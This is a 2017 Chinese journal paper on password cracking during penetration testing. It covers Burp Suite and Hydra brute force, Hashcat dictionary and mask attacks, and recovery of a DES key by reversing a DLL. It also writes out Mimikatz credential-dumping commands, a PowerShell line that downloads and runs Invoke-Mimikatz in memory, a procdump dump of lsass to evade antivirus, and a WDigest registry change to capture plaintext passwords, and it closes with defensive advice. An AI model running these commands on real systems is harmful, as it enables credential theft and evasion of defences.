◆嚴(yán)比卓 黃 佳
(長(zhǎng)沙市中心醫(yī)院 湖南 410000)
關(guān)于滲透測(cè)試密碼破解的研究
◆嚴(yán)比卓 黃 佳
(長(zhǎng)沙市中心醫(yī)院 湖南 410000)
密碼破解是進(jìn)行滲透測(cè)試中發(fā)現(xiàn)信息系統(tǒng)漏洞的常用方法。本文分別從破解工具和破解方式兩個(gè)方面,對(duì)暴力破解和散列還原的破解方式進(jìn)行研究,并給出了預(yù)防這些攻擊的應(yīng)對(duì)方法。
滲透測(cè)試;系統(tǒng)漏洞;密碼破解
滲透測(cè)試是通過(guò)模擬惡意黑客的攻擊手法,來(lái)對(duì)目標(biāo)網(wǎng)絡(luò)系統(tǒng)的安全進(jìn)行評(píng)估的一種方式[1]。在滲透測(cè)試的過(guò)程中,任何僅通過(guò)密碼進(jìn)行身份鑒別而沒(méi)有采用雙因素認(rèn)證的應(yīng)用或系統(tǒng),對(duì)其密碼的暴力破解總是可實(shí)現(xiàn)的。下面對(duì)在滲透測(cè)試中進(jìn)行密碼破解的經(jīng)驗(yàn)以及所使用的工具和方法進(jìn)行研究。
常用密碼破解工具:
(1) Burp Suite(https://portswigger.net/burp/): 在線(xiàn)Web 登錄表單破解;
(2) Hydra (https://www.thc.org/thc-hydra/): 在線(xiàn)服務(wù)破解;
(3) Hashcat (http://hashcat.net/hashcat/): 離線(xiàn)Hash破解;
(4)Mimikatz (https://github.com/gentilkiwi/mimikatz): Windows密碼還原。
當(dāng)然,一份優(yōu)秀的字典也是必不可少的,好的字典在密碼猜解過(guò)程中往往可以找到系統(tǒng)的突破口,有效提升滲透測(cè)試的成功率。
3.1 暴力破解
3.1.1 Web 表單破解
以單一密碼作為身份認(rèn)證的 Web 登錄表單,一直是滲透測(cè)試中尋求突破的入口,尤其是針對(duì)網(wǎng)站管理后臺(tái)的暴力猜解。通常網(wǎng)站會(huì)采用驗(yàn)證碼來(lái)防止工具的暴力猜解。當(dāng)一個(gè) Web登錄表單滿(mǎn)足以下條件之一時(shí),即可進(jìn)行暴力破解:
(1)沒(méi)有驗(yàn)證碼機(jī)制;
(2)服務(wù)端沒(méi)有及時(shí)銷(xiāo)毀用戶(hù)會(huì)話(huà)中的驗(yàn)證碼導(dǎo)致驗(yàn)證碼復(fù)用;
(3)所用驗(yàn)證碼圖形較為簡(jiǎn)單,可被工具輕易識(shí)別。
工具Burp Suite 的Intruder 模塊是一個(gè)針對(duì)Web應(yīng)用的自動(dòng)化攻擊工具,其主要應(yīng)用場(chǎng)景即針對(duì)Web登錄表單的暴力猜解,尤其是Burp 1.7版本最高支持999線(xiàn)程,大大提高了暴力破解的速度。通常根據(jù)響應(yīng)包的長(zhǎng)度,HTTP 狀態(tài)碼或響應(yīng)包中的關(guān)鍵字來(lái)判斷是否登錄成功。
3.1.2 常用服務(wù)爆破
服務(wù)爆破工具有 Medusa 和 hydra等,均支持 ftp、 ssh、telnet、pop3、smtp、mysql、mssql、rdp等常用服務(wù)。對(duì)于僅僅內(nèi)網(wǎng)才能訪問(wèn)的服務(wù),運(yùn)維人員的安全意識(shí)不足,通常存在各種弱口令以及相同服務(wù)使用相同口令的情形。
對(duì)服務(wù)的爆破適用于內(nèi)網(wǎng)滲透,此時(shí)測(cè)試人員已經(jīng)擁有一臺(tái)內(nèi)網(wǎng)服務(wù)器權(quán)限或者其上的 Webshell,可以以此服務(wù)器或Webshell 作為代理,突破邊界防火墻,對(duì)內(nèi)網(wǎng)其他服務(wù)進(jìn)行爆破,一般能夠發(fā)現(xiàn)多個(gè)弱口令。
3.2 散列還原
在滲透測(cè)試過(guò)程中,除了密碼從無(wú)到有的過(guò)程,還有大量已知密碼Hash需要恢復(fù)出明文密碼的情形。這些密碼 Hash一般通過(guò)SQL注入,直接訪問(wèn)數(shù)據(jù)庫(kù),嗅探等方式獲得。
(1)爆破還原
很多網(wǎng)站使用MD5, SHA1等Hash函數(shù)來(lái)加密用戶(hù)口令,MySQL數(shù)據(jù)庫(kù)也使用自定義名為MySQL323或MySQL5的算法加密數(shù)據(jù)庫(kù)口令,這些Hash函數(shù)(算法)都是不可逆的。因此,要想從密碼Hash直接恢復(fù)出明文密碼是不可能的。但是通常情形下,Hash值是唯一的,從而黑客可以收集大量常用明文密碼,計(jì)算出其Hash值,并與已有Hash值進(jìn)行比對(duì),Hash值匹配相等則視為明文密碼相同。
字典爆破是還原Hash值最合適的方法。該方法通過(guò)收集各大網(wǎng)站泄漏的數(shù)據(jù)庫(kù)中的明文密碼生成字典,破解一般用戶(hù)的密碼成功率很高。Hashcat支持多種已知加密算法,且能夠跨平臺(tái)運(yùn)行,是字典爆破的理想工具。
Hashcat使用方法為:
hashcat.exe m 〈hash類(lèi)型〉 -a 〈破解方式〉〈hash文件〉〈字典/掩碼〉
掩碼攻擊是另一種暴力破解Hash的方式。通過(guò)分析國(guó)人使用密碼的習(xí)慣,中國(guó)人習(xí)慣用姓名首字母縮寫(xiě)加上6位或8位生日、QQ號(hào)、手機(jī)號(hào)等數(shù)字作為密碼,這樣的密碼對(duì)使用者來(lái)說(shuō)記憶方便,但是對(duì)于攻擊者來(lái)說(shuō),暴力猜解密碼并不需要遍歷所有可能的明文空間。如果以?l代表一位小寫(xiě)字母,?d代表一位數(shù)字,如前所述的密碼組成可能是這樣的,第 1-3 位(或第 1-2位)是?l,然后接著6位?d或8~9位?d或11位?d。如此一來(lái),黑客需要窮舉的明文密碼所有值的數(shù)量將大大減少,破解成功率也大大提升。圖1所示是Hash Manager通過(guò)掩碼攻擊破解某密碼。
圖1 Hash Manager 攻擊破解
無(wú)論是字典爆破還是掩碼攻擊,運(yùn)算速度都是至關(guān)重要的因素。多核服務(wù)器的運(yùn)算速度通常遠(yuǎn)超個(gè)人 PC。但是如果PC帶有獨(dú)立顯卡,Hashcat的GPU版本cudaHashcat/oclhashcat使用顯卡進(jìn)行運(yùn)算,效率大大超過(guò)CPU版本,甚至可能反超多核服務(wù)器。
(2)解密還原
在一些應(yīng)用場(chǎng)景中,數(shù)據(jù)庫(kù)密碼、連接字符串或者通過(guò)公開(kāi)的自定義算法加密,如Weblogic,或者使用DES, AES等對(duì)稱(chēng)加密算法,但是密鑰硬編碼在應(yīng)用源碼中。當(dāng)測(cè)試人員通過(guò)源碼獲知算法與密鑰后,即可將密文恢復(fù)為明文密碼。
.NET開(kāi)發(fā)的應(yīng)用,密鑰和加密算法可能編譯為*.dll存在于網(wǎng)站根路徑的bin目錄中;Java開(kāi)發(fā)的應(yīng)用,密鑰和加密算法多編譯成*.jar或*.class文件存在于網(wǎng)站根路徑的 WEB-INF/lib或WEB-INF/classes目錄中。
在某服務(wù)器的MSSQL數(shù)據(jù)庫(kù)中發(fā)現(xiàn)如圖2所示的管理員用戶(hù)及密碼Hash。
圖2 管理員用戶(hù)和密碼Hash
UserPwd疑似MD5 hash, 但無(wú)法解開(kāi)。分析應(yīng)用源碼得知其采用的是自定義算法,在網(wǎng)站根路徑的 bin目錄下發(fā)現(xiàn)文件BBDCL.dll, 逆向該文件得知應(yīng)用采用 DES算法,密鑰是"jgheobinhainnnglggzcianjingn", 如圖3所示:
圖3 逆向計(jì)算
本地運(yùn)行 Visual Studio新建.NET項(xiàng)目,導(dǎo)入BBDCL.dll,調(diào)用dll中的Decrypt方法,成功解密管理員Hash, 如圖4所示。
圖4 解密管理員Hash
(3)內(nèi)存還原
用戶(hù)登錄Windows操作系統(tǒng)時(shí),明文密碼經(jīng)過(guò)可逆算法加密后存放在Windows認(rèn)證(lsass.exe)的進(jìn)程內(nèi)存中。Mimikatz是一款能夠從lsass.exe進(jìn)程中獲取內(nèi)存,并且獲取明文密碼和NTLM哈希值的工具。運(yùn)行 Mimikatz需要操作系統(tǒng)管理員或 NT AUTHORITYSYSTEM權(quán)限,通常使用DEBUG權(quán)限執(zhí)行相關(guān)操作,與lsass.exe進(jìn)程進(jìn)行交互。其使用過(guò)程簡(jiǎn)單,將Mimikatz上傳到服務(wù)端,運(yùn)行以下兩條命令,如圖5示。
提升權(quán)限:privilege::debug
獲取密碼:sekurlsa::logonpasswords
圖5 獲取密碼
具備強(qiáng)大功能的Mimikatz是殺毒軟件的必殺。除了自行編譯Mimikatz源碼外,還可使用下面兩種手段繞過(guò)殺毒軟件的查殺。
(1)直接在內(nèi)存中調(diào)用Mimikatz,避免上傳文件到服務(wù)器。
通過(guò)Invoke-Mimikatz這個(gè)PowerShell腳本,利用mimikatz2.0和Invoke- ReflectivePEInjection將Mimikatz源程序完全加載到系統(tǒng)內(nèi)存中運(yùn)行,這將使得轉(zhuǎn)儲(chǔ)憑證時(shí)無(wú)需將 Mimikatz 的二進(jìn)制文件寫(xiě)到磁盤(pán)中。
通過(guò)命令行或PowerShell運(yùn)行下面的代碼:
PowerShell "IEX (New-Object Net.WebClient).Download String('https://raw.githubusercontent.com/mattifestati-on/Pow-erSploit /master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz DumpCreds"
(2)利用微軟官方工具procdump獲取進(jìn)程lsass.exe的內(nèi)存轉(zhuǎn)儲(chǔ)文件
procdump作為一款內(nèi)存dump工具,帶有微軟公司官方數(shù)字證書(shū)簽名,可繞過(guò)殺毒軟件的查殺。上傳procdump.exe到目標(biāo)系統(tǒng),運(yùn)行procdump -accepteula -ma lsass.exe lsass.dmp得到內(nèi)存轉(zhuǎn)儲(chǔ)文件lsass.dmp, 下載lsass.dmp到本地,運(yùn)行下面的命令獲取明文密碼。
sekurlsa::minidumplsass.dmp
sekurlsa::logonpasswords
從 Windows 8.1 和 Windows Server 2012 R2 開(kāi)始,LM 哈希和“純文本”密碼將不在內(nèi)存中生成。此功能也被“移植”到了較早版本的 Windows 中,Windows 7/8/2008 R2/2012 需要打KB2871997 補(bǔ)丁。為了防止在 lsass.exe 進(jìn)程中顯示“明文”密碼,下面的注冊(cè)表鍵需要被設(shè)置為“0”:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecu rityProvidersWDigest “UseLogonCredential”(DWORD)
遇到此種情形時(shí),在命令行中將上述注冊(cè)表的值修改為1,然后靜候管理員重新登錄系統(tǒng)即可,此時(shí)就可從lsass.exe進(jìn)程中恢復(fù)出管理員密碼。
(1)及時(shí)更新操作系統(tǒng)補(bǔ)丁,安裝部署防病毒,防惡意代碼軟件,WAF等,并對(duì)最新安全漏洞保持關(guān)注;
(2)操作系統(tǒng)、數(shù)據(jù)庫(kù)、應(yīng)用系統(tǒng)之間不要使用相同或相近易被猜測(cè)的密碼;
(3)密碼長(zhǎng)度應(yīng)設(shè)置到8位以上,包含大小寫(xiě)字母、數(shù)字、特殊符號(hào)至少各兩個(gè),尤其操作系統(tǒng)密碼應(yīng)設(shè)置到大于14位;
(4)Web中間件和數(shù)據(jù)庫(kù)等服務(wù)等均不要以 NT AUTHORITYSYSTEM (Administrator)或者root權(quán)限運(yùn)行;
(5)在Windows操作系統(tǒng)中,通常無(wú)須使用procdump工具,可將procdump.exe添加到殺毒軟件黑名單,并使用組策略等方式監(jiān)測(cè)注冊(cè)表項(xiàng)HKEY_LOCAL_MACHINESYSTEM CurrentControl SetControlSecurityProvidersWDigest“Us eLogonCredential”的值,若值為1即可認(rèn)為已經(jīng)遭到了入侵,需要全面排查系統(tǒng)漏洞。
本文對(duì)滲透測(cè)試過(guò)程中的密碼破解進(jìn)行了一些研究,并給出應(yīng)對(duì)辦法。希望能為讀者提高信息系統(tǒng)安全防范意識(shí)和水平帶來(lái)幫助。
[1]夏龍,肖明明,馬天遠(yuǎn),王瑾.滲透測(cè)試技術(shù)在校園網(wǎng)中的應(yīng)用研究.電腦知識(shí)與技術(shù),2016.
[2]段鋼.加密與解密(第三版)[M].電子工業(yè)出版社,2008.
網(wǎng)絡(luò)安全技術(shù)與應(yīng)用2017年5期